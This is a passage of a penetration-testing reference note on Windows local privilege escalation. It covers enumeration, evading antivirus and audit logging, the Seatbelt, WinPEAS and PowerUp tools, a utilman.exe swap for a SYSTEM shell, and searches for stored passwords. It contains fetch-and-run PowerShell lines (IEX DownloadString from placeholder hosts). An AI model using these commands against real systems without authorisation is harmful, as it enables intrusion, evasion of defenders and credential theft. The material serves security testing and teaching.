Local privilege escalation

The following note assumes that a low privilege shell could be obtained on the target.

To leverage a shell from a Remote Code Execution (RCE) vulnerability please refer to the [General] Shells note.

“The more you look, the more you see.” ― Pirsig, Robert M., Zen and the Art of Motorcycle Maintenance

Basic enumeration

The following commands can be used to grasp a better understanding of the current system:

	DOS	Powershell	WMI
Basic info	net config workstation	Get-ComputerInfo
OS details	systeminfo	[environment]::OSVersion.Version
OS Architecture	echo %PROCESSOR_ARCHITECTURE%	[Environment]::Is64BitOperatingSystem	wmic os get osarchitecture
Hostname	hostname	$env:ComputerName	wmic computersystem get name (PS) (Get-WmiObject Win32_ComputerSystem).Name
Fully qualified hostname	net config workstation | findstr /C:"Full Computer name"	[System.Net.Dns]::GetHostByName($env:computerName)
Drives		[System.IO.DriveInfo]::getdrives() Get-PSDrive -PSProvider FileSystem
Curent Domain	echo %userdomain% systeminfo | findstr "Domain"	$env:UserDomain (NetBIOS domain name) $env:UserDomain (fully qualified domain name) systeminfo | Select-String Domain	(PS) (Get-WmiObject Win32_ComputerSystem).Domain
Curent User	whoami /all net user %username%	$env:UserName	(PS) (Get-WmiObject Win32_ComputerSystem).UserName
Local users	net users net users <USERNAME>	Get-LocalUser	wmic USERACCOUNT list full (PS) Get-WMIObject Win32_UserAccount -NameSpace "root\CIMV2" -Filter "LocalAccount='$True'"
Local groups	net localgroup	(Win10+) Get-LocalGroup	wmic group list full
Local groups' member(s)	net localgroup Administrators net localgroup <GROUPNAME>	Get-LocalGroupMember -Name "<GROUPNAME>" foreach ($group in Get-LocalGroup) { [PSCustomObject]@{ Group = $group.Name; User = (($group | Get-LocalGroupMember).Name | Out-String) } | fl }
Connected users	qwinsta query user
Powershell version	Powershell $psversiontable	$psversiontable
Environement variables	set	Get-ChildItem Env: | ft Key,Value
Mounted disks	fsutil fsinfo drives	Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}	wmic volume get DriveLetter,FileSystem,Capacity
Writable directories	dir /a-rd /s /b
Writable files	dir /a-r-d /s /b
Processes	tasklist /v	Get-Process | Ft Name,Id	wmic process get name,processid,executablepath,commandline,parentprocessid (PS) Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
Processes command line			wmic process get Name,ProcessID,ExecutablePath (PS) Get-WmiObject win32_process | Select Name,Handle,CommandLine | Format-List
TCP / UDP network connections	netstat -anob	Get-NetTCPConnection
User Account Control (UAC) EnableLUA = 0x1 -> UAC is enabled (default since Windows Vista / Windows Server 2008). LocalAccountTokenFilterPolicy = 0x1 -> UAC remote restrictions are disabled (non default). FilterAdministratorToken = 0x1 -> UAC is enforced for the local built-in Administrator account RID 500 (non default).	reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v LocalAccountTokenFilterPolicy reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v FilterAdministratorToken	Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name EnableLUA,LocalAccountTokenFilterPolicy,FilterAdministratorToken

Installed .NET framework

A number of tools may require the use of the .NET Framework, either for privileges escalation or post exploitation. The .NET Framework 4.8 will be the last version released of the .NET Framework (only security updates and reliability hotfixes will follow).

Each version of the .NET Framework contains the Common Language Runtime (CLR), used to execute managed code of .NET programs. A .NET programs should be build to target the CLR version associated with the .NET Framework installed on the (targeted) host. For instance, an utility can be build to target the .NET Framework 4.8 even if only the .NET Framework 4 is installed on the host the utility will be executed on.

.NET Framework version	CLR version
.NET Framework 2.0 .NET Framework 3.0 .NET Framework 3.5	2
.NET Framework 4 .NET Framework 4.5 - 4.8	4

The .NET Framework is installed by default on Windows, with a version depending on the Windows version:

Windows version / build	.NET Framework version
Windows Server 2022	.NET Framework 4.8
Windows 11	.NET Framework 4.8
Windows 10 (build 1903+)	.NET Framework 4.8 .NET Framework 3.5 SP1*
Windows Server 2019 Windows Server version 1803 / 1809	.NET Framework 4.7.2
Windows 10 (build 1803 / 1809)	.NET Framework 4.7.2 .NET Framework 3.5 SP1*
Windows Server version 1709	.NET Framework 4.7.1
Windows 10 (build 1709)	.NET Framework 4.7.1 .NET Framework 3.5 SP1*
Windows 10 (build 1703)	.NET Framework 4.7 .NET Framework 3.5 SP1*
Windows Server 2016	.NET Framework 4.6.2
Windows 10 (build 1607)	.NET Framework 4.6.2 .NET Framework 3.5 SP1*
Windows 10 (build 1511)	.NET Framework 4.6.1 .NET Framework 3.5 SP1*
Windows 10 (build 1507)	.NET Framework 4.6.0 .NET Framework 3.5 SP1*
Windows Server 2012 R2	.NET Framework 4.5.1 .NET Framework 3.5 SP1*
Windows Server 2012	.NET Framework 4.5 .NET Framework 3.5 SP1*
Windows 8.1	.NET Framework 4.5.1 .NET Framework 3.5 SP1*
Windows 8	.NET Framework 4.5 .NET Framework 3.5 SP1*
Windows 7	.NET Framework 3.5.1
Windows Server 2008 R2	.NET Framework 3.5.1
Windows Server 2008 SP2	.NET Framework 3.0 SP2* .NET Framework 2.0 SP1
Windows Server 2008 Windows Server 2008 SP1	.NET Framework 3.0 SP1* .NET Framework 2.0 SP1
Windows Vista SP1	.NET Framework 3.0 SP1* .NET Framework 2.0 SP1
Windows Vista	.NET Framework 3.0* .NET Framework 2.0
Windows Server 2003 (x86)	.NET Framework 2.0 .NET Framework 1.1

*The .NET Framework version must be enabled (either through the Control Panel or, for Windows Server, through the Server Manager).

The version of the .NET Framework framework installed can be determined through registry key entries. Additionally, before .NET Framework 4.0, the installed .NET Framework version can be determined using the names of the folder in the \Windows\Microsoft.NET\Framework64\ directory. For later versions, the MSBuild.exe utility, packaged with the .NET framework, can be used to establish the precise version installed. If the execution of MSBuild.exe is blocked, the version can still be retrieved manually.

# .NET 4.5 and later.
# The "Release" DWORD key corresponds to the particular version of the .NET Framework installed.
# Values of the Release DWORD: https://github.com/dotnet/docs/blob/master/docs/framework/migration-guide/how-to-determine-which-versions-are-installed.md
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full"

# Alternatively the MSBuild.exe utility can be used instead of directly quering the registry.
cd \Windows\Microsoft.NET\Framework64\v4.0.30319
.\MSBuild.exe

# .NET 1.1 through 3.5.
# List all install versions (subkeys under NDP).
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\
# Retrieve the "Version" key of the specified .NET installation
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP\<VERSION>

# Alternative for .NET all versions.
# The "FileVersion" property of the .NET installation dlls can be used to determine, through a Google search query, the precise installed version
cd \Windows\Microsoft.NET\Framework64\<VERSION>
Get-Item "Accessibility.dll" | fl
# Or
$file = Get-Item "Accessibility.dll"
[System.Diagnostics.FileVersionInfo]::GetVersionInfo($file).FileVersion

Defense and supervision scouting

Before attempting a local privilege escalation, notably in a covert scenario, establishing a precise vision on the system security defense and supervision mechanisms may help evade detection.

Antivirus product

The Windows Security Center is a Windows component which, among other features, keep track of the antivirus products installed on the system and their status (monitoring mode and antivirus signatures update status). The Security Center consolidates the Windows Defender status as well as third party antivirus solutions by:

• searching for registry keys and files provided to Microsoft by the antivirus software manufacturers

• exposing a WMI provider on which antivirus software manufacturers can report their product status

Note that some Endpoint Detection and Response (EDR) solutions may not be registered in the SecurityCenter and can only be detected by listing the running processes or configured services.

# SecurityCenter: Windows 2000, Windows Server 2003, Windows XP, and older
# SecurityCenter2: Windows Vista, Windows Server 2008, or newer

Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | Ft displayName,productState,timestamp
WMIC /Node:localhost /Namespace:\rootSecurityCenter2 Path AntiVirusProduct Get displayName,productState,timestamp /Format:List

The productState property can be parsed and converted to a human readable format using the following PowerShell code snippet:

$productState = "<PRODUCT_STATE>"

$hex = [Convert]::ToString($productState, 16).PadLeft(6,'0')

$WSC_SECURITY_PRODUCT_STATE = $hex.Substring(2,2)
$WSC_SECURITY_SIGNATURE_STATUS = $hex.Substring(4,2)

$RealTimeProtectionStatus = switch ($WSC_SECURITY_PRODUCT_STATE) {
  "00" {"OFF"}
  "01" {"EXPIRED"}
  "10" {"ON"}
  "11" {"SNOOZED"}
  default {"UNKNOWN"}
}

$DefinitionStatus = switch ($WSC_SECURITY_SIGNATURE_STATUS) {
  "00" {"UP_TO_DATE"}
  "10" {"OUT_OF_DATE"}
  default {"UNKNOWN"}
}

Write-Host "Real time protection status:" $RealTimeProtectionStatus
Write-Host "Signature update status:" $DefinitionStatus

Audit policies

The configured audit policies can be retrieved within the registry.

In particular, whether or not the command line is logged in process creation events (Security hive, 4688: A new process has been created) is of importance, as a process command line arguments may yield information about a tool function, compromised accounts or C2 servers, and be very able for the blue team.

reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"

# "ProcessCreationIncludeCmdLine_Enabled: 0x1" = the command line is logged in process creation
events
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" /v ProcessCreationIncludeCmdLine_Enabled

Windows Event Forwarding

Windows Event Forwarding (WEF) is a Microsoft Windows component that forwards the chosen event logs to a Windows Event Collector (WEC) server, for back up or security monitoring.

The following registry key can be queried to retrieve information about a possible WEF subscription:

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

AppLocker

AppLocker is a Windows native feature, added in Windows 7 Enterprise, that allows, through the definition of rules, for the restriction and control of the files users can execute.

The configured AppLocker rules are stored in multiple locations within the registry and can also be retrieved using the Get-AppLockerPolicy PowerShell cmdlet.

Note that the appidsvc service must be running for AppLocker to be functional.

Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Configured AppLocker rules, stored in XML format
# The "EnforcementMode" subkey of each category (exe, scripts, MSI, Appx, DLL) corresponds to the enforcement status of the AppLocker rules of the category
# "EnforcementMode: 0x0" = Audit only
# "EnforcementMode: 0x1" = Enforce rules
reg query HKLM\Software\Policies\Microsoft\Windows\SrpV2 /s

# Mirror key
reg query HKLM\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\SrpV2 /s

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\

# AppLocker pushed down from a Group Policy Object (GPO), stored in XML format
reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy Objects\<GUID>Machine\Software\Policies\Microsoft\Windows\SrpV2

sc.exe query appidsvc

Additionally, the presence and size of the event logs hive Microsoft-Windows-AppLocker/EXE and DLL can also be a good indicator of whether or not AppLocker is enabled. If the log file is not present or is empty (the evtx file has a size of 68 Ko / 69 632 bytes) then AppLocker may not have been enabled and configured on the system.

dir C:\Windows\System32\winevt\Logs | findstr /i AppLocker

For more information about AppLocker, refer to the Windows - Bypass AppLocker note.

Seatbelt

Seatbelt is a C# tool that can be used to enumerate a number of security mechanisms of the target such as the PowerShell restrictions, audit and Windows Event Forwarding settings, registered antivirus, firewall rules, installed patches and last reboot events, etc.

Seatbelt can also be used to gather interesting user data such as saved RDP connections files and putty SSH host keys, AWS/Google/Azure cloud credential files, browsers bookmarks and histories, etc.

# Currently available (last update 20210511) SeatBelt commands  (+ means remote usage is supported):
    + AMSIProviders          - Providers registered for AMSI
    + AntiVirus              - Registered antivirus (via WMI)
    + AppLocker              - AppLocker settings, if installed
      ARPTable               - Lists the current ARP table and adapter information (equivalent to arp -a)
      AuditPolicies          - Enumerates classic and advanced audit policy settings
    + AuditPolicyRegistry    - Audit settings via the registry
    + AutoRuns               - Auto run executables/scripts/programs
    + ChromiumBookmarks      - Parses any found Chrome/Edge/Brave/Opera bookmark files
    + ChromiumHistory        - Parses any found Chrome/Edge/Brave/Opera history files
    + ChromiumPresence       - Checks if interesting Chrome/Edge/Brave/Opera files exist
    + CloudCredentials       - AWS/Google/Azure/Bluemix cloud credential files
    + CloudSyncProviders     - All configured Office 365 endpoints (tenants and teamsites) which are synchronised by OneDrive.
      CredEnum               - Enumerates the current user's saved credentials using CredEnumerate()
    + CredGuard              - CredentialGuard configuration
      dir                    - Lists files/folders. By default, lists users' downloads, documents, and desktop folders (arguments == [directory] [depth] [regex] [boolIgnoreErrors]
    + DNSCache               - DNS cache entries (via WMI)
    + DotNet                 - DotNet versions
    + DpapiMasterKeys        - List DPAPI master keys
      EnvironmentPath        - Current environment %PATH$ folders and SDDL information
    + EnvironmentVariables   - Current environment variables
    + ExplicitLogonEvents    - Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days.
      ExplorerMRUs           - Explorer most recently used files (last 7 days, argument == last X days)
    + ExplorerRunCommands    - Recent Explorer "run" commands
      FileInfo               - Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)
    + FileZilla              - FileZilla configuration files
    + FirefoxHistory         - Parses any found FireFox history files
    + FirefoxPresence        - Checks if interesting Firefox files exist
    + Hotfixes               - Installed hotfixes (via WMI)
      IdleTime               - Returns the number of seconds since the current user's last input.
    + IEFavorites            - Internet Explorer favorites
      IETabs                 - Open Internet Explorer tabs
    + IEUrls                 - Internet Explorer typed URLs (last 7 days, argument == last X days)
    + InstalledProducts      - Installed products via the registry
      InterestingFiles       - "Interesting" files matching various patterns in the user's folder. Note: takes non-trivial time.
    + InterestingProcesses   - "Interesting" processes - defensive products and admin tools
      InternetSettings       - Internet settings including proxy configs and zones configuration
      KeePass                - Finds KeePass configuration files
    + LAPS                   - LAPS settings, if installed
    + LastShutdown           - Returns the DateTime of the last system shutdown (via the registry).
      LocalGPOs              - Local Group Policy settings applied to the machine/local users
    + LocalGroups            - Non-empty local groups, "-full" displays all groups (argument == computername to enumerate)
    + LocalUsers             - Local users, whether they're active/disabled, and pwd last set (argument == computername to enumerate)
    + LogonEvents            - Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days.
    + LogonSessions          - Windows logon sessions
      LOLBAS                 - Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.
    + LSASettings            - LSA settings (including auth packages)
    + MappedDrives           - Users' mapped drives (via WMI)
      McAfeeConfigs          - Finds McAfee configuration files
      McAfeeSiteList         - Decrypt any found McAfee SiteList.xml configuration files.
      MicrosoftUpdates       - All Microsoft updates (via COM)
      NamedPipes             - Named pipe names and any readable ACL information.
    + NetworkProfiles        - Windows network profiles
    + NetworkShares          - Network shares exposed by the machine (via WMI)
    + NTLMSettings           - NTLM authentication settings
      OfficeMRUs             - Office most recently used file list (last 7 days)
      OracleSQLDeveloper     - Finds Oracle SQLDeveloper connections.xml files
    + OSInfo                 - Basic OS info (i.e. architecture, OS version, etc.)
    + OutlookDownloads       - List files downloaded by Outlook
    + PoweredOnEvents        - Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days.
    + PowerShell             - PowerShell versions and security settings
    + PowerShellEvents       - PowerShell script block logs (4104) with sensitive data.
    + PowerShellHistory      - Searches PowerShell console history files for sensitive regex matches.
      Printers               - Installed Printers (via WMI)
    + ProcessCreationEvents  - Process creation logs (4688) with sensitive data.
      Processes              - Running processes with file info company names that don't contain 'Microsoft', "-full" enumerates all processes
    + ProcessOwners          - Running non-session 0 process list with owners. For remote use.
    + PSSessionSettings      - Enumerates PS Session Settings from the registry
    + PuttyHostKeys          - Saved Putty SSH host keys
    + PuttySessions          - Saved Putty configuration (interesting fields) and SSH host keys
      RDCManFiles            - Windows Remote Desktop Connection Manager settings files
    + RDPSavedConnections    - Saved RDP connections stored in the registry
    + RDPSessions            - Current incoming RDP sessions (argument == computername to enumerate)
    + RDPsettings            - Remote Desktop Server/Client Settings
      RecycleBin             - Items in the Recycle Bin deleted in the last 30 days - only works from a user context!
      reg                    - Registry key values (HKLM\Software by default) argument == [Path] [intDepth] [Regex] [boolIgnoreErrors]
      RPCMappedEndpoints     - Current RPC endpoints mapped
    + SCCM                   - System Center Configuration Manager (SCCM) settings, if applicable
    + ScheduledTasks         - Scheduled tasks (via WMI) that aren't authored by 'Microsoft', "-full" dumps all Scheduled tasks
      SearchIndex            - Query results from the Windows Search Index, default term of 'passsword'. (argument(s) == <search path> <pattern1,pattern2,...>
      SecPackageCreds        - Obtains credentials from security packages
      SecurityPackages       - Enumerates the security packages currently available using EnumerateSecurityPackagesA()
      Services               - Services with file info company names that don't contain 'Microsoft', "-full" dumps all processes
    + SlackDownloads         - Parses any found 'slack-downloads' files
    + SlackPresence          - Checks if interesting Slack files exist
    + SlackWorkspaces        - Parses any found 'slack-workspaces' files
    + SuperPutty             - SuperPutty configuration files
    + Sysmon                 - Sysmon configuration from the registry
    + SysmonEvents           - Sysmon process creation logs (1) with sensitive data.
      TcpConnections         - Current TCP connections and their associated processes and services
      TokenGroups            - The current token's local and domain groups
      TokenPrivileges        - Currently enabled token privileges (e.g. SeDebugPrivilege/etc.)
    + UAC                    - UAC system policies via the registry
      UdpConnections         - Current UDP connections and associated processes and services
      UserRightAssignments   - Configured User Right Assignments (e.g. SeDenyNetworkLogonRight, SeShutdownPrivilege, etc.) argument == computername to enumerate
    + WindowsAutoLogon       - Registry autologon information
      WindowsCredentialFiles - Windows credential DPAPI blobs
    + WindowsDefender        - Windows Defender settings (including exclusion locations)
    + WindowsEventForwarding - Windows Event Forwarding (WEF) settings via the registry
    + WindowsFirewall        - Non-standard firewall rules, "-full" dumps all (arguments == allow/deny/tcp/udp/in/out/domain/private/public)
      WindowsVault           - Credentials saved in the Windows Vault (i.e. logins from Internet Explorer and Edge).
      WMIEventConsumer       - Lists WMI Event Consumers
      WMIEventFilter         - Lists WMI Event Filters
      WMIFilterBinding       - Lists WMI Filter to Consumer Bindings
    + WSUS                   - Windows Server Update Services (WSUS) settings, if applicable


# Executes the specified module(s).
SeatBelt.exe <Command> [Command2] [-full]

# Conducts "user" checks, executing the following modules:
# Certificates, ChromiumPresence, CloudCredentials, CloudSyncProviders, CredEnum,
# dir, DpapiMasterKeys, Dsregcmd,
# ExplorerMRUs, ExplorerRunCommands,
# FileZilla, FirefoxPresence,
# IdleTime, IEFavorites, IETabs, IEUrls
# KeePass,
# MappedDrives
# OfficeMRUs, OracleSQLDeveloper,
# PowerShellHistory, PuttyHostKeys, PuttySessions,
# RDCManFiles, RDPSavedConnections,
# SecPackageCreds, SlackDownloads, SlackPresence, SlackWorkspaces, SuperPutty,
# TokenGroups,
# WindowsCredentialFiles, WindowsVault
SeatBelt.exe -group=user [-full]

# Conducts "system" checks, executing the following modules:
# AMSIProviders, AntiVirus, AppLocker, ARPTable, AuditPolicies, AuditPolicyRegistry, AutoRuns,
# Certificates, CredGuard,
# DNSCache, DotNet,
# EnvironmentPath, EnvironmentVariables,
# Hotfixes,
# InterestingProcesses, InternetSettings,
# LAPS, LastShutdown, LocalGPOs, LocalGroups, LocalUsers, LogonSessions, LSASettings,
# McAfeeConfigs,
# NamedPipes, NetworkProfiles, NetworkShares, NTLMSettings,
# OSInfo,
# PoweredOnEvents, PowerShell, Processes, PSSessionSettings,
# RDPSessions, RDPsettings,
# SCCM, Services, Sysmon,
# TcpConnections, TokenPrivileges,
# UAC, UdpConnections, UserRightAssignments,
# WindowsAutoLogon, WindowsDefender, WindowsEventForwarding, WindowsFirewall, WMIEventConsumer, WMIEventFilter, WMIFilterBinding, WSUS
Seatbelt.exe -group=system

# Executes all checks, with fully detailed results.
SeatBelt.exe -group=all [-full]

# Executes SeatBelt from memory (as a gzip-compressed and base64-encoded .Net assembly loaded in PowerShell).
# From PowerSharpBinaries https://github.com/S3cur3Th1sSh1t/PowerSharpPack/
IEX(New-Object Net.WebClient).DownloadString("http://<HOSTNAME | IP>[:<PORT>]/<SCRIPT>")
Invoke-Seatbelt -Command "<Command> [Command2] [-full]"

Local privilege escalation enumeration scripts

Most of the enumeration process detailed below can be automated using scripts.

Personal preference: PEASS's WinPEAS.exe or WinPEAS.bat + PowerSploit's PowerUp.ps1 Invoke-PrivescAudit / Invoke-AllChecks + off-target Windows Exploit Suggester - Next Generation

To upload the scripts on the target, please refer to the [General] File transfer note.

Note that PowerShell scripts can be injected directly into memory using PowerShell DownloadString or through a meterpreter session:

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('<URL_PS1>'); <Invoke-CMD>"

PS> IEX (New-Object Net.WebClient).DownloadString('<URL_PS1>')
PS> <Invoke-CMD>

meterpreter> load powershell
meterpreter> powershell_import <PS1_FILE_PATH>
meterpreter> powershell_execute <Invoke-CMD>

Privilege Escalation Awesome Scripts SUITE (PEASS) - WinPEAS

WinPEAS checks the local privilege escalation vectors defined in the following checklist: https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation.

Note that the winPEAS.exe executable requires the .NET 4.0 framework to function. Alternatively, the winPEAS.bat script may be used instead (with no coloring support and less optimization).

# All checks with out resource throttling
# Additionally specify "notcolor" to avoid formatting errors if ANSI coloring is not supported
winPEAS.exe cmd searchall searchfast

winPEAS.bat

PowerSploit's PowerUp

The PowerSploit's PowerUp Invoke-PrivescAudit / Invoke-AllChecks and enjoiz's privesc.bat or privesc.ps1scripts run a number of configuration checks:

• Clear text passwords in files or registry

• Unquoted services path

• Weak services permissions

• "AlwaysInstallElevated" policy

• Token privileges

• ...

The Invoke-PrivescAudit / Invoke-AllChecks cmdlets will run all the checks implemented by PowerSploit's PowerUp.ps1. The script can be either injected directly into memory as specified above or can be imported using the file.

Note that PowerUp is not actively maintained in the master branch of the PowerShellMafia's PowerSploit GitHub repository.

# powershell.exe -nop -exec bypass
# set-executionpolicy bypass

Import-Module <FULLPATH>\PowerUp.ps1

# Older versions
Invoke-AllChecks

Invoke-PrivescAudit

enjoiz privesc.bat / privesc.ps1

Both the batch and PowerShell versions of the enjoiz privilege escalation script require accesschk.exe to present on the targeted machine (on the script directory). The script takes one or multiple user group(s) as parameter to test the configuration for. To retrieve the user groups of the compromised user, the Windows built-in whoami /groups can be used.

privesc.bat "<USER_GROUP_1>" ["<USER_GROUP_N"]

privesc.bat "Everyone Users" "Authenticated Users"

Windows Exploit Suggester - Next Generation

The WES-NG script compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. Refer to the Unpatched system section below for a detailed usage guide of the script.

Physical access privileges escalation

Physical access open up different ways to bypass user login screen and obtain NT AUTHORITY\SYSTEM access.

Hardened system

BIOS settings

The methods detailed below require to boot from a live CD/DVD or USB key. The possibility to do so may be disabled by BIOS settings. To conduct the attack below, an access to the BIOS or a reset to default settings must be accomplished.

Manufacturers may have defined a default BIOS password, some of which are listed on the following resource http://www.uktsupport.co.uk/reference/biosp.htm

Ultimately, BIOS settings can be reseted by removing the CMOS battery or using the motherboard Jumper. The system hard drive can also be plugged on another computer to extract the SAM base or carry out the process below.

Encrypted disk

The methods detailed below require an access to the Windows file system and will not work on encrypted partitions if the password to decrypt the file system is not known.

PCUnlocker

PCUnlocker is a password-unlocking software that can be used to reset lost Windows users password. it can be burn on a CD/DVD or installed on a bootable USB key.

The procedure to create a bootable USB key and reset local Windows users passwords is as follow:

1. Download Rufus and PCUnlocker

2. Create a bootable USK key using Rufus with the PCUnlocker ISO. If making an USB key for a computer with UEFI BIOS, pick the "GPT partition scheme for UEFI computer" option on Rufus

3. Boot on the USB Key thus created (boot order may need to be changed in BIOS)

4. From the PCUnlocker GUI, pick an account and click the "Reset Password" button to reset the password to

To create a bootable CD/DVD, simply use any CD/DVD burner with the PCUnlocker ISO and follow steps 3 & 4. If used on a Domain Controller, PCUnlocker can be used to reset Domain users password by updating the ntds.dit file.

utilman.exe

The utilman utility tool can be launched at the login screen before authentication as NT AUTHORITY\SYSTEM. By using a Windows installation CD/DVD, it is possible to replace the utilman.exe by cmd.exe to gain access to a CMD shell as SYSTEM without authentication.

The procedure to do so is as follow:

1. Download the Windows ISO corresponding to the attacked system and burn it to a CD/DVD

2. Boot on the thus created CD/DVD

3. Pick the "Repair your computer" option

4. Select the “Use recovery tools [...]" option, pick the operating system from the list and click "Next"

5. A command prompt should open, enter the following commands:

   • cd windows\system32

   • ren utilman.exe utilman.exe.bak

   • copy cmd.exe utilman.exe

6. Remove the CD/DVD and boot the system normally.

7. On the login screen, press the key combination Windows Key + U

8. A command prompt should open with NT AUTHORITY\SYSTEM rights

9. Change a user password (net user ) or create a new user

Sensible content

Clear text passwords in files

The built-in findstr and dir can be used to search for clear text passwords stored in files. The keyword 'password' should be used first and the search broaden if needed by searching for 'pass'.

The meterpreter search command can be used in place of findstr if a meterpreter shell is being used.

# Searches recursively in current folder
dir /s <KEYWORD>

# Meterpreter search command
search -f <FILE_NAME>.<FILE_EXTENSION> <KEYWORD>
search -f *.* <KEYWORD>

# Search (case insensitive) the specified keyword (for example 'password' or 'pass') in all or all the files of a given extension.
# The findstr is a Windows utility usable in a DOS shell. Get-ChildItem is a (faster) PowerShell cmdlet.
# A case sensitive search can be conducted using 's findstr /spin option or Get-Select-String's -CaseSensitive switch.

Get-ChildItem -ErrorAction SilentlyContinue -Recurse | Select-String "<KEYWORD>" -List | Select-Object -ExpandProperty Path
findstr /si "<KEYWORD>" *.*

Get-ChildItem -ErrorAction SilentlyContinue -Recurse -Filter <*.txt | *.<EXTENSION>> | Select-String "<KEYWORD>" -List | Select-Object -ExpandProperty Path
findstr /si "<KEYWORD>" <*.txt | *.<EXTENSION>>

# Search for runas with savecred in files
findstr /s /i /m "savecred" *.*
findstr /s /i /m "runas" *.*

# Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*

The following files, if present on the system, may contain clear text or base64 encoded passwords and should be reviewed:

%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattend\Unattend.xml
%WINDIR%\Panther\Unattended.xml
%WINDIR%\Panther\Unattend.xml
%SystemDrive%\sysprep.inf
%SystemDrive%\sysprep\sysprep.xml
%WINDIR%\system32\sysprep\Unattend.xml
%WINDIR%\system32\sysprep\Panther\Unattend.xml
%SystemDrive%\MININT\SMSOSD\OSDLOGS\VARIABLES.DAT
%WINDIR%\panther\setupinfo
%WINDIR%\panther\setupinfo.bak
%SystemDrive%\unattend.xml
%WINDIR%\system32\sysprep.inf
%WINDIR%\system32\sysprep\sysprep.xml
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
%SystemDrive%\inetpub\wwwroot\web.config
%AllUsersProfile%\Application Data\McAfee\Common Framework\SiteList.xml
%HOMEPATH%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu<...>\LocalState\rootfs\etc\passwd
%HOMEPATH%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu<...>\LocalState\rootfs\etc\shadow

dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
dir /s /b *tnsnames*
dir /s /b *.ora*

Cached credentials

Windows-based computers use multiple forms of password caching / storage: local accounts credentials, domain credentials, and generic credentials:

• Domain credentials are authenticated by the Local Security Authority (LSA) and cached in the LSASS (Local Security Authority Subsystem) process.

• Local accounts credentials are stored in the SAM (Security Account Manager) hive.

• Generic credentials are defined programs that manage authorization and security directly. The generic credentials are cached in the Windows Credential Manager.

Local administrator or NT AUTHORITY\SYSTEM privileges are required to access the clear-text or hashed passwords. Refer to the [Windows] Post Exploitation note for more information on how to retrieve these credentials.

However, stored generic credentials may be directly usable. In particular, Windows credentials (domain or local accounts) cached as generic credentials in the Credential Manager, usually done using runas /savecred.

The cmdkey and rundll32.exe Windows built-ins can be used to enumerate the generic credentials stored on the machine. Saved Windows credentials be can used using runas.

# List stored generic credentials
cmdkey /list
# Require a GUI interface
rundll32.exe keymgr.dll,KRShowKeyMgr

runas /savecred /user:<DOMAIN | WORKGROUP>\<USERNAME> <EXE>

Cached GPP passwords

GPP can be cached locally and may contain encrypted passwords that can be decrypted using the Microsoft public AES key.

The Get-CachedGPPPassword cmdlet, of the PowerSploit's PowerUp script, can be used to automatically retrieve the cached GPP XML files and extract the present passwords.

Get-CachedGPPPassword

The following commands can be used to conduct the search manually:

$AllUsers = $Env:ALLUSERSPROFILE
# If $AllUsers do not contains "ProgramData"
$AllUsers = "$AllUsers\Application Data"

Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml',
'DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue | Select-String -pattern "cpassword"

The Ruby gpp-password script can be used to decrypt a GPP password:

gpp-decrypt <ENC_PASSWORD>

Clear text password in registry

Passwords may also be stored in Windows registry:

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query HKLM /f pass /t REG_SZ /s
reg query HKCU /f pass /t REG_SZ /s

Wifi passwords

The configured / memorized Wifi passwords on the target machine may be retrievable as an unprivileged user using the Windows built-in netsh:

# List stored Wifi
netsh wlan show profiles

# Retrieve information about the specified Wifi, including its clear text password if available
netsh wlan show profile name="<WIFI_NAME>" key=clear

Passwords in Windows event logs

If the compromised user can read Windows events logs, by being a member of the Event Log Readers notably, and the command-line auditing feature is enabled, the logs should be reviewed for sensible information.

# Check if command-line auditing is enabled - may return false-negative
